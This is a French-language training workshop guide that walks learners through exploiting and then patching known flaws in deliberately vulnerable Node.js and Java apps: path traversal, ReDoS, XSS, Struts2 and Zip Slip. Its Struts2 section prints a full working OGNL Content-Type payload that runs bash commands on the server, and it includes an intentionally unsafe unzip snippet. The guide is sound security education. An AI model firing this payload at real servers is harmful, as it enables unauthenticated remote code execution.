snyk-labs/exploit-workshopUn atelier étape par étape pour exploiter diverses vulnérabilités dans des applications Node.js et Java
Dans cet atelier pas à pas, vous apprendrez à exploiter diverses vulnérabilités réelles existant dans des versions vulnérables de packages d'une application Node.js et Java.
Vous pouvez suivre cet atelier de 2 manières différentes
OU
Cet atelier vous guidera à travers l'installation et l'exploitation de plusieurs applications volontairement vulnérables. Les applications utiliseront des packages réels avec des vulnérabilités connues, notamment :
Ces exploits existent dans un certain nombre d'applications, dont la plupart devront être installées localement ou sur une instance cloud. Les instructions ci-dessous vous guideront pour les installations locales, mais vous êtes libre de les essayer également sur des instances cloud distantes.
Pour chaque section de vulnérabilité de cet atelier, vous recevrez des informations sur la vulnérabilité ainsi que sur le package dans lequel elle se trouve. Nous vous encourageons à tenter de pirater l'application par essais et erreurs sans lire les indices au début. Essayez de réfléchir à la façon dont vous pouvez contourner l'assainissement de l'application et entrez dans l'esprit d'un pirate. Les indices sont là pour le moment où vous êtes bloqué, alors lisez-les dans l'ordre lorsque vous avez besoin d'un coup de main. Si vous parvenez à terminer le piratage sans indices, c'est génial ! Cependant, il peut être bon de lire les indices après pour être sûr d'avoir pénétré de la même manière que nous ! De plus, il peut y avoir de petits conseils à en tirer.
Selon votre choix précédent, choisissez le manuel d'installation approprié
Depuis votre navigateur préféré, accédez à http://localhost:3001 et vous devriez voir la page suivante.
Prenez quelques minutes pour jouer avec le site, et en particulier, créez quelques tâches, en utilisant du texte normal « Acheter du lait » ainsi qu'en utilisant du markdown « Acheter **beaucoup** de lait ». Naviguez également vers la page à propos très modeste liée en bas de la page d'accueil. Régalez-vous du CSS-foo utilisé pour créer cette page à propos. Remarque : les PR qui rendent cette page plus jolie ne seront pas fusionnées ;o)
Tout d'abord, regardons cela du côté bleu (défensif). Forkez l'application goof vers votre propre compte GitHub. L'application se trouve sur GitHub ici : https://github.com/snyk/goof. Nous devons analyser notre application pour comprendre les dépendances directes et indirectes qui existent dans l'application, ainsi que les vulnérabilités de chaque bibliothèque. Pour ce faire, accédez à https://snyk.io et cliquez sur « S'inscrire » ou « Connexion » (si vous êtes déjà utilisateur), en haut à droite du site :
Cliquez sur le bouton « Se connecter avec GitHub » :
Ensuite, importez le projet goof que vous venez de cloner précédemment. Sélectionnez goof dans votre liste de dépôts GitHub et cliquez sur le bouton « Importer des projets » en haut à droite de la fenêtre.
Lorsque le projet aura été analysé, vous le verrez dans votre tableau de bord :
Cliquez sur le lien package.json pour voir la page du projet, qui comprend la liste complète des vulnérabilités de sécurité :
Vous pouvez cliquer sur les onglets « Issues » et « Dependencies » pour voir plus d'informations sur les vulnérabilités et leur correction, ainsi que sur l'endroit où elles sont introduites par votre application. Vous remarquerez vers le bas de la liste des vulnérabilités une vulnérabilité de directory traversal dans le package st. Examinons cela plus en détail.
Une attaque de Directory Traversal (également connue sous le nom de path traversal) vise à accéder à des fichiers et répertoires stockés en dehors du dossier prévu. En manipulant des fichiers avec des séquences « point-point-slash » (../) et leurs variantes, ou en utilisant des chemins de fichiers absolus, il peut être possible d'accéder à des fichiers et répertoires arbitraires stockés sur le système de fichiers, y compris le code source de l'application, la configuration et d'autres fichiers système critiques.
Les vulnérabilités Directory Traversal peuvent généralement être divisées en deux types :
Le package de l'application goof qui contient une vulnérabilité de directory traversal que nous allons exploiter est le package st. Jetez un œil à la documentation de st et familiarisez-vous avec la bibliothèque.
Vous devriez maintenant savoir ce qu'est le directory traversal, ce que fait le package st et pouvez passer à l'attaque de l'application — vous êtes de retour dans l'équipe rouge ! Cherchez dans l'application où le package st pourrait être utilisé et essayez d'accéder à un répertoire auquel vous ne devriez pas avoir accès.
Voici quelques indices pour vous donner des pistes si vous êtes bloqué — essayez de ne les consulter qu'après avoir déjà essayé par vous-même et avoir besoin d'aide.
Cliquez pour voir Indice 1.
Cliquez pour voir Indice 2.
Cliquez pour voir Indice 3.
Cliquez pour voir Indice 4.
Cliquez pour voir Indice 5.
Cliquez pour voir Indice 6.
Cliquez pour voir Indice 7.
Cliquez pour voir Indice 8.
Cliquez pour voir Indice 9.
Parcourez votre système de fichiers comme si vous étiez un attaquant pour trouver 3 informations sensibles sur votre machine que vous ne voudriez probablement pas qu'un attaquant voie.
Cliquez pour voir Indice 10.
Jetez un œil à la description de la vulnérabilité, y compris le score CVSS : https://snyk.io/vuln/npm:st:20140206. Pourquoi pensez-vous que la vulnérabilité est de sévérité moyenne, plutôt qu'élevée ?
De retour sur la page du projet snyk, trouvez la vulnérabilité de directory traversal dans le package st et regardez les conseils de correction. Vous verrez qu'il n'y a qu'un seul chemin vers cette vulnérabilité dans l'application, et que le package st est une dépendance directe, donc la correction ne devrait pas être trop complexe. Nous pouvons voir que nous devons mettre à jour la version du package st vers 0.2.5. Nous pouvons le faire automatiquement en cliquant sur le bouton « Corriger cette vulnérabilité ».
Vous verrez une liste de vos vulnérabilités, et seule la vulnérabilité st devrait être sélectionnée. Faites défiler jusqu'en bas de la page et cliquez sur « Ouvrir un PR de correction » :
Jetez un œil aux modifications de code dans la pull request sous l'onglet « Fichiers modifiés » :
Assurez-vous que vos nouveaux tests PR n'introduisent aucun nouveau problème de sécurité ou de licence et qu'ils ont réussi. Ceux-ci se trouvent dans l'onglet de conversation du PR :
Lorsque vous êtes satisfait du PR, fusionnez les modifications.
Si vous exécutez l'application localement, arrêtez-la en appuyant sur Ctrl+C dans la fenêtre où vous avez exécuté npm start. Récupérez le dernier code depuis GitHub en exécutant git fetch. Téléchargez la nouvelle version de st en exécutant npm install puis redémarrez votre application avec npm start.
Réessayez vos attaques. Félicitations !, vous avez corrigé la vulnérabilité et devriez maintenant être redirigé vers la page d'accueil chaque fois que vous essayez de sortir du dossier public.
Jetez un œil à la description d'une vulnérabilité ReDoS dans votre analyse Snyk :
Cette vulnérabilité dans le package ms sera celle que nous allons exploiter dans l'application goof. Utilisez la commande suivante pour ajouter une tâche contenant une chaîne de caractères représentant une durée :``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
La bibliothèque ms a trouvé un motif temporel dans votre chaîne de contenu en entrée. Cela est représenté légèrement différemment sur la page web goof.
En utilisant vos connaissances sur le fonctionnement de ReDoS, essayez de passer une chaîne de contenu qui provoque un délai notable, ou un déni de service pour les autres utilisateurs. Notez que pendant le traitement de la requête, la page web mettra en file d’attente toutes vos requêtes ultérieures jusqu’à ce que votre première requête soit traitée.
Cliquez pour voir [Indice 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint1.md).
Cliquez pour voir [Indice 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint2.md).
Cliquez pour voir [Indice 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint3.md).
Cliquez pour voir [Indice 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint4.md).
Cliquez pour voir [Indice 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint5.md).
Réfléchissez à la manière d’éviter programmatiquement cette attaque dans le code de votre application ?
### Corriger la vulnérabilité
De retour sur la page du projet snyk, trouvez la vulnérabilité de déni de service par expression régulière dans le paquet ```ms``` et examinez les conseils de correction. Vous verrez qu’il n’y a qu’un seul chemin menant à cette vulnérabilité dans l’application, et que le paquet ```ms``` est une dépendance indirecte, importée par le paquet ```humanize-ms```. Nous constatons que nous devons mettre à jour la version de ```humanize-ms``` vers ```1.0.2```. Cela importera le paquet ```ms``` dans une version corrigée. Cliquez à nouveau sur "Corriger cette vulnérabilité" et créez une PR.
Après avoir mis à jour votre application, réessayez vos attaques. *Félicitations !*, vous avez corrigé la vulnérabilité !
## Cross Site Scripting (XSS)
Les attaques XSS se produisent lorsqu’un attaquant trompe le navigateur d’un utilisateur pour exécuter du code JavaScript malveillant dans le contexte du domaine de la victime. Ces scripts peuvent voler les cookies de session de l’utilisateur pour ce domaine, gratter ou modifier son contenu, et effectuer ou modifier des actions au nom de l’utilisateur, actions normalement bloquées par la politique de même origine du navigateur.
Ces attaques sont possibles en s’échappant du contexte de l’application web et en injectant des scripts malveillants dans un site pourtant de confiance. Ces scripts peuvent introduire des attributs supplémentaires (par exemple, une option "nouveau" dans une liste déroulante ou un nouveau lien vers un site malveillant) et peuvent potentiellement exécuter du code côté client, à l’insu de la victime. Cela se produit lorsque des caractères comme ```< > " '``` ne sont pas correctement échappés.
Il existe plusieurs types de XSS :
* *XSS persistant* est une attaque dans laquelle le code malveillant persiste dans la base de données de l’application web.
* *XSS réfléchi* est une attaque où le site web renvoie une partie de la requête. L’attaquant doit tromper l’utilisateur pour qu’il clique sur un lien malveillant (par exemple via un email de phishing ou du JS malveillant sur une autre page), ce qui déclenche l’attaque XSS.
* *XSS basé sur le DOM* est une attaque qui se produit uniquement dans le navigateur lorsque du JavaScript côté client renvoie une partie de l’URL dans la page. Le XSS basé sur le DOM est notoirement difficile à détecter, car le serveur n’a jamais la possibilité de voir l’attaque se dérouler.
La vulnérabilité existe dans la bibliothèque marked. Cette bibliothèque nous permet de saisir du texte en markdown dans la zone de saisie des tâches et d’afficher le texte résultant en gras, ou tout ce que votre cœur désire. Maintenant que vous êtes plus que familier avec cette application complexe et multipage, gardez à l’esprit le paquet vulnérable.
Pour commencer, essayons d’afficher l’alerte ‘1’. Très cliché, non ?
Cliquez pour voir [Indice 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint1.md).
Cliquez pour voir [Indice 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint2.md).
Cliquez pour voir [Indice 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint3.md).
Cliquez pour voir [Indice 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint4.md).
Cliquez pour voir [Indice 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint5.md).
Cliquez pour voir [Indice 6](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint6.md).
Cliquez pour voir [Indice 7](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint7.md).
Cliquez pour voir [Indice 8](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint8.md).
Une fois que vous avez pu exécuter du JavaScript qui crée une alerte, comme illustré ci-dessous. Vous pouvez essayer quelque chose d’un peu plus délicat pour obtenir des informations sensibles !
### Corriger la vulnérabilité
De retour sur la page du projet snyk, trouvez la vulnérabilité XSS dans le paquet ```marked``` et examinez les conseils de correction. Vous verrez qu’il n’y a qu’un seul chemin menant à cette vulnérabilité dans l’application, et que le paquet ```marked``` est une dépendance directe. Nous constatons que nous devons mettre à jour ```marked``` vers la version ```0.3.9```. Cliquez à nouveau sur "Corriger cette vulnérabilité" et créez une PR.
Après avoir mis à jour votre application, réessayez vos attaques. Félicitations, vous avez corrigé la vulnérabilité XSS et ne devriez plus pouvoir intégrer du JavaScript dans la page web.
# Installation de Java Goof
Selon votre choix précédent, sélectionnez le manuel d’installation approprié
* en utilisant [les images Docker](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_docker.md)
* installer sur [une machine locale](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_local.md)
Depuis un navigateur, accédez à l’URL suivante : [http://localhost:8080/](http://localhost:8080/)
Vous verrez cette application. Elle a meilleure allure que l’application Node. Parce que Java est meilleur que Node. C’est un fait.
Cliquez sur "Connexion" et utilisez les identifiants suivants :```
Username: [email protected]
Password: foobar
Lorsque vous êtes connecté, vous verrez un certain nombre d’entrées todo. Si vous cliquez en haut de l’écran, vous constaterez que l’application utilise Spring, Hibernate et Apache Struts. L’application a la gentillesse de nous donner ces données ! Les sites Web ne sont généralement pas aussi aimables :)
De retour du côté de l’équipe bleue (défensive), maintenant. Nous devons analyser notre application pour comprendre les dépendances directes et indirectes qui existent dans l’application, ainsi que les vulnérabilités de chaque bibliothèque. Forkez Java Goof vers votre propre compte GitHub. L’application se trouve sur GitHub ici : https://github.com/snyk/java-goof
Si vous avez déjà un compte Snyk créé plus tôt dans l’atelier, il vous suffit d’ajouter le dépôt Java Goof dans le tableau de bord Snyk. Si ce n’est pas encore fait, créez votre compte comme suit :
Accédez à https://snyk.io si ce n’est pas déjà fait, cliquez sur « Log in » ou « Sign up » en haut à droite du site.
Cliquez sur le bouton « Log in with your GitHub » :
Importez le projet goof que vous venez de cloner précédemment. Cliquez sur le lien Intégrations illustré ci-dessous :
À partir de là, sélectionnez l’intégration GitHub et choisissez java-goof dans votre liste de dépôts GitHub, puis cliquez sur le bouton « Add selected repositories » en haut à droite de la fenêtre.
Une fois le projet scanné, vous le verrez dans votre tableau de bord :
Cliquez sur le lien todolist-web-struts/pom.xml pour voir la liste complète des vulnérabilités de sécurité pour cette partie du projet :
La vulnérabilité réside dans le package org.apache.struts:struts2-core.
Les versions concernées du package sont vulnérables à l’exécution arbitraire de commandes lors du téléchargement de fichiers avec l’analyseur Jakarta Multipart. Cette vulnérabilité particulière peut être exploitée par un attaquant en envoyant une requête conçue pour télécharger un fichier vers le serveur vulnérable qui utilise un plugin basé sur Jakarta pour traiter la requête de téléchargement.
L’attaquant peut alors envoyer du code malveillant dans les en-têtes HTTP Content-Type, Content-Disposition ou Content-Length, qui sera ensuite exécuté par le serveur vulnérable. Une preuve de concept démontrant le scénario d’attaque est disponible publiquement et la vulnérabilité est activement exploitée dans la nature.
Bien que les mainteneurs du projet open source aient immédiatement corrigé la vulnérabilité, les serveurs Struts qui n’ont pas encore installé la mise à jour restent la cible de pirates qui l’exploitent pour injecter des commandes de leur choix.
Cette attaque peut être réalisée sans authentification. Pour aggraver les choses, les applications Web n’ont pas nécessairement besoin de télécharger avec succès un fichier malveillant pour exploiter cette vulnérabilité : la simple présence de la bibliothèque Struts vulnérable au sein d’une application suffit à exploiter la vulnérabilité.
Voici un exemple d’en-tête qui peut exploiter la vulnérabilité. Notez que le type de contenu commence par %{.```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Vous remarquerez qu'un ```ProcessBuilder``` est créé et qu'une commande bash sera exécutée en conséquence.
Piratez l'application en effectuant une requête HTTP GET vers l'application, en envoyant cet en-tête dans la requête.
Cliquez pour voir [Indice 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint1.md).
Cliquez pour voir [Indice 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint2.md).
Vous devriez maintenant avoir exécuté une commande à distance, comme cette commande `env` pour récupérer les variables d'environnement de votre machine :
À ce stade, vous avez maintenant des droits d'exécution sur la machine en effectuant un curl vers une URL. Continuez à exécuter d'autres commandes pour voir ce que vous pouvez apprendre sur la machine ainsi que pour exécuter des commandes sur la machine.
# Zip Slip
Créez un nouveau projet Maven dans l'EDI de votre choix. Je ne vous jugerai pas. Ajoutez une nouvelle dépendance dans votre fichier ```pom.xml```.```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
Dans ce dépôt, vous trouverez une archive zip-slip.zip. Téléchargez-la et exécutez la commande suivante sur l'archive pour voir la sortie. Je m'attends à ce que vous compreniez comment ce hack fonctionne une fois que vous verrez la sortie.``` $ jar -tvf zip-slip.zip
## La vulnérabilité Zip Slip
Zip Slip est une forme de traversée de répertoire qui peut être exploitée en extrayant des fichiers d'une archive. Le principe de la vulnérabilité de traversée de répertoire est qu'un attaquant peut accéder à des parties du système de fichiers en dehors du dossier cible dans lequel ils devraient se trouver. L'attaquant peut alors écraser des fichiers exécutables et soit les invoquer à distance, soit attendre que le système ou l'utilisateur les appelle, réalisant ainsi une exécution de commande à distance sur la machine de la victime. La vulnérabilité peut également causer des dommages en écrasant des fichiers de configuration ou d'autres ressources sensibles, et peut être exploitée à la fois sur les machines clientes (utilisateurs) et les serveurs.
Les deux éléments nécessaires pour exploiter cette vulnérabilité sont une archive malveillante et un code d'extraction qui n'effectue pas de validation. Examinons chacun d'eux à tour de rôle. Tout d'abord, le contenu du fichier zip doit contenir un ou plusieurs fichiers qui sortent du répertoire cible lors de l'extraction. Dans l'exemple ```zip-slip.zip```, nous pouvons voir deux fichiers, un fichier good.txt qui serait extrait dans le répertoire cible et un fichier evil.txt qui essaie de remonter l'arborescence des répertoires vers le répertoire tmp. Vous remarquerez qu'il existe de nombreux niveaux de ```../``` afin que le fichier ait de meilleures chances d'atteindre le répertoire racine, avant de tenter de se rendre dans le répertoire ```/tmp``` à partir de la racine.
Utilisez l'utilitaire de décompression de ```zt-zip``` trouvé dans ```ZipUtil``` pour extraire le fichier et remarquez où ```good.txt``` et ```evil.txt``` apparaissent sur votre système de fichiers.
Cliquez pour voir [Indice 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint1.md).
Cliquez pour voir [Indice 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint2.md).
Une fois que vous avez décompressé le fichier evil.txt dans votre répertoire tmp, jetez un œil aux informations sur la vulnérabilité ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681)).
### Corrigez la vulnérabilité !
Cliquez pour voir [Indice 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint3.md).
Cliquez pour voir [Indice 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint4.md).
Maintenant que vous avez corrigé la vulnérabilité dans votre dépendance ```zt-zip```, regardons le code qui peut être utilisé pour cela en Java. Notez que nous avons utilisé la bibliothèque Apache Commons IO dans cet exemple pour effectuer notre copie de fichier à la ligne 8.```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
Remplaçons notre précédent appel à ZipUtil.unpack par ce code. Supprimez les fichiers good.txt et evil.txt de votre système de fichiers et exécutez à nouveau l'application. Vous remarquerez que le fichier evil.txt atteint à nouveau le répertoire /tmp.
Identifiez les lignes de code ci-dessus qui sont responsables et corrigez-les !
Cliquez pour voir Hint 5.
Cliquez pour voir Hint 6.
Cliquez pour voir Hint 7.
Cliquez pour voir Hint 8.
Cliquez pour voir Hint 9.
Une fois que vous avez codé votre solution de manière défensive, consultez notre exemple de code final dans Hint 9 pour voir comment il se compare à votre version. Avez-vous inclus le séparateur de fichier final à la ligne 9 ? Cela garantit que le répertoire ne commence pas seulement par le nom de répertoire que nous avons choisi, mais qu'il s'agit bien du répertoire dans lequel nous avons choisi d'extraire les fichiers.
Merci d'avoir suivi cet atelier. Si vous voyez des fautes de frappe ou souhaitez suggérer des indices supplémentaires, veuillez nous envoyer une PR !